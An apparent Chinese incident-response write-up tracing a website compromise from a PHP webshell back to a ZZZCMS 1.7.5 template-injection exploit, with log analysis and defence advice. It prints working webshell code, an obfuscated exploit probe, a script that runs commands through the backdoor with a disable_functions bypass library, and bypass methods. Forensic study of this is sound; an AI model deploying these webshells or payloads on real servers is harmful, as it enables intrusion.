记一次从后门开展的应急响应溯源
字数 1890 2025-08-29 08:32:09

从后门开展的应急响应溯源实战教学

1. 背景与概述

本教学文档基于一次真实的应急响应案例,展示了如何从一个Web后门开始,通过日志分析和漏洞溯源,最终找到最初攻击者的完整过程。案例中涉及的技术点包括:

  • Web后门分析与利用
  • 禁用函数绕过技术
  • 日志分析方法
  • 漏洞利用链还原
  • 攻击者行为分析

2. 后门分析与初步利用

2.1 后门定位

后门URL:http://www.xxxx.com/plugins/layer/mobile/need/wwConapp.php

后门代码:

<?php 
function fun2 (){
    $b = $_POST ;
    return @ ( $b [ a ]);
}
@ extract ( array ( b => create_function ( NULL , fun2 ())));
@ extract ( array ( c => $b ()));
?> 
hello

2.2 后门技术分析

  1. 该后门使用create_function创建匿名函数
  2. 通过extract函数将变量导入当前符号表
  3. 最终执行通过POST参数a传入的代码

2.3 利用受阻与解决方案

  • 问题:使用蚁剑连接后发现命令执行返回127,检查phpinfo发现禁用函数:

    disable_functions: exec,passthru,popen,proc_open,shell_exec,system,assert
    
  • 解决方案:在同目录下发现前人留下的bypass_disablefunc_x.so文件,可直接用于绕过禁用函数限制

3. 日志收集与分析

3.1 日志收集脚本

使用Python脚本批量收集2020年4月1日至12月31日的访问日志:

#coding:utf-8
import requests

for month in range(4,13):
    for days in range(1,31):
        date = '%02d'%month + '%02d'%days
        url = 'http://www.xxxx.com/plugins/layer/mobile/need/back.php?cmd=cat%20/lnweb08/domain/3/8/5/38583/logs/access_log.2020' + date + '&outpath=/tmp/1&sopath=/lnweb08/domain/3/8/5/38583/www/plugins/layer/mobile/need/bypass_disablefunc_x.so'
        res = requests.get(url=url)
        fp = open(date+'.txt','w')
        fp.write(res.content)
        fp.close()

3.2 关键时间点定位

  • 后门文件wwConapp.php创建时间:2020-11-06 09:34:19
  • 相关访问记录:
    115.238.195.188 - - [06/Nov/2020:09:34:37 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 500 -
    115.238.195.188 - - [06/Nov/2020:09:34:38 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 200 180
    115.238.195.188 - - [06/Nov/2020:09:34:39 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 200 161
    

3.3 攻击者IP行为分析

对IP 115.238.195.188的访问记录分析:

115.238.195.188 - - [06/Nov/2020:09:22:58 +0800] "POST /search/2.php HTTP/1.1" 200 161
115.238.195.188 - - [06/Nov/2020:09:22:59 +0800] "POST /search/2.php HTTP/1.1" 200 153
115.238.195.188 - - [06/Nov/2020:09:23:02 +0800] "POST /search/2.php HTTP/1.1" 200 8
...
115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "GET /xiseceshi.jsp HTTP/1.1" 200 16

发现该攻击者从/search/2.php开始访问,但该文件已被删除,仅剩同目录下的1.php

<?php @ $content = @ stripslashes(/**/ @$_POST[1]); @ eval(''./**/ $content);

4. 初始攻击溯源

4.1 最早的后门访问记录

查找/search/2.php的最早访问记录:

180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "HEAD /search/2.php HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "POST /search/2.php HTTP/1.1" 200 7

4.2 攻击向量分析

IP 180.126.246.121的攻击流量:

/search/?keys={if:array_map(base_convert(31298929054286,10,32),array((base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36)).yizogi.(base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36))))}{endif}

解码分析:

  1. base_convert(31298929054286,10,32) → "setcookie"
  2. base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36) → 解码后为空字符串
  3. 整体效果:setcookie("yizogi", "")

这是一个探测性的攻击,用于检查是否存在模板注入漏洞。

4.3 漏洞确认

该攻击利用的是ZZZCMS 1.7.5的前台RCE漏洞,相关特征:

  • 通过模板变量注入执行代码
  • 利用base_convert等函数混淆攻击payload
  • 漏洞利用成功后会在响应中设置特定cookie

5. 攻击链还原

完整的攻击时间线:

  1. 初始入侵(2020-08-28):

    • IP 180.126.246.121利用ZZZCMS 1.7.5漏洞上传/search/2.php后门
  2. 后续利用(2020-11-06):

    • IP 115.238.195.188利用已有后门,在/plugins/layer/mobile/need/目录上传Conapp.php后门
    • 后将该文件重命名为wwConapp.php
  3. 后门维护

    • 攻击者在/search/目录下留下1.php作为备用后门
    • /plugins/layer/mobile/need/目录留下bypass_disablefunc_x.so用于绕过禁用函数限制

6. 防护建议

  1. 及时更新:确保CMS系统及时更新到最新版本
  2. 禁用危险函数:在php.ini中禁用危险函数
  3. 日志监控:实施实时日志监控,对可疑访问模式设置告警
  4. 文件完整性检查:定期检查网站目录的文件变动
  5. 最小权限原则:Web服务器进程应以最低必要权限运行

7. 高级溯源技术展望

文中提出的基于图谱的响应溯源追踪系统构想:

  1. 数据层:将所有日志导入图数据库
  2. 分析层
    • 使用图查询语句分析访问模式
    • 结合正则表达式和AI检测可疑行为
  3. 可视化层:自动生成攻击路径图,辅助人工判断

8. 附录:相关技术点详解

8.1 禁用函数绕过技术

常见绕过方法:

  1. 使用LD_PRELOAD加载恶意.so文件
  2. 利用imap_open等未被禁用的函数
  3. 通过PHP的FFI扩展
  4. 使用反引号(``)执行命令

8.2 日志分析技巧

  1. 时间线分析:围绕关键文件的时间戳展开
  2. IP关联:同一IP的连续访问行为
  3. 异常请求:识别非常规的URL和参数
  4. 状态码分析:关注200以外的响应码

8.3 漏洞利用特征

ZZZCMS 1.7.5 RCE漏洞特征:

  1. 使用base_convert等函数混淆
  2. 模板注入语法特征
  3. 通常伴随文件上传行为
  4. 探测阶段会设置特定cookie
从后门开展的应急响应溯源实战教学 1. 背景与概述 本教学文档基于一次真实的应急响应案例,展示了如何从一个Web后门开始,通过日志分析和漏洞溯源,最终找到最初攻击者的完整过程。案例中涉及的技术点包括: Web后门分析与利用 禁用函数绕过技术 日志分析方法 漏洞利用链还原 攻击者行为分析 2. 后门分析与初步利用 2.1 后门定位 后门URL: http://www.xxxx.com/plugins/layer/mobile/need/wwConapp.php 后门代码: 2.2 后门技术分析 该后门使用 create_function 创建匿名函数 通过 extract 函数将变量导入当前符号表 最终执行通过POST参数 a 传入的代码 2.3 利用受阻与解决方案 问题 :使用蚁剑连接后发现命令执行返回127,检查phpinfo发现禁用函数: 解决方案 :在同目录下发现前人留下的 bypass_disablefunc_x.so 文件,可直接用于绕过禁用函数限制 3. 日志收集与分析 3.1 日志收集脚本 使用Python脚本批量收集2020年4月1日至12月31日的访问日志: 3.2 关键时间点定位 后门文件 wwConapp.php 创建时间:2020-11-06 09:34:19 相关访问记录: 3.3 攻击者IP行为分析 对IP 115.238.195.188 的访问记录分析: 发现该攻击者从 /search/2.php 开始访问,但该文件已被删除,仅剩同目录下的 1.php : 4. 初始攻击溯源 4.1 最早的后门访问记录 查找 /search/2.php 的最早访问记录: 4.2 攻击向量分析 IP 180.126.246.121 的攻击流量: 解码分析: base_convert(31298929054286,10,32) → "setcookie" base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36) → 解码后为空字符串 整体效果: setcookie("yizogi", "") 这是一个探测性的攻击,用于检查是否存在模板注入漏洞。 4.3 漏洞确认 该攻击利用的是ZZZCMS 1.7.5的前台RCE漏洞,相关特征: 通过模板变量注入执行代码 利用base_ convert等函数混淆攻击payload 漏洞利用成功后会在响应中设置特定cookie 5. 攻击链还原 完整的攻击时间线: 初始入侵 (2020-08-28): IP 180.126.246.121 利用ZZZCMS 1.7.5漏洞上传 /search/2.php 后门 后续利用 (2020-11-06): IP 115.238.195.188 利用已有后门,在 /plugins/layer/mobile/need/ 目录上传 Conapp.php 后门 后将该文件重命名为 wwConapp.php 后门维护 : 攻击者在 /search/ 目录下留下 1.php 作为备用后门 在 /plugins/layer/mobile/need/ 目录留下 bypass_disablefunc_x.so 用于绕过禁用函数限制 6. 防护建议 及时更新 :确保CMS系统及时更新到最新版本 禁用危险函数 :在php.ini中禁用危险函数 日志监控 :实施实时日志监控,对可疑访问模式设置告警 文件完整性检查 :定期检查网站目录的文件变动 最小权限原则 :Web服务器进程应以最低必要权限运行 7. 高级溯源技术展望 文中提出的基于图谱的响应溯源追踪系统构想: 数据层 :将所有日志导入图数据库 分析层 : 使用图查询语句分析访问模式 结合正则表达式和AI检测可疑行为 可视化层 :自动生成攻击路径图,辅助人工判断 8. 附录:相关技术点详解 8.1 禁用函数绕过技术 常见绕过方法: 使用LD_ PRELOAD加载恶意.so文件 利用imap_ open等未被禁用的函数 通过PHP的FFI扩展 使用反引号( `` )执行命令 8.2 日志分析技巧 时间线分析:围绕关键文件的时间戳展开 IP关联:同一IP的连续访问行为 异常请求:识别非常规的URL和参数 状态码分析:关注200以外的响应码 8.3 漏洞利用特征 ZZZCMS 1.7.5 RCE漏洞特征: 使用base_ convert等函数混淆 模板注入语法特征 通常伴随文件上传行为 探测阶段会设置特定cookie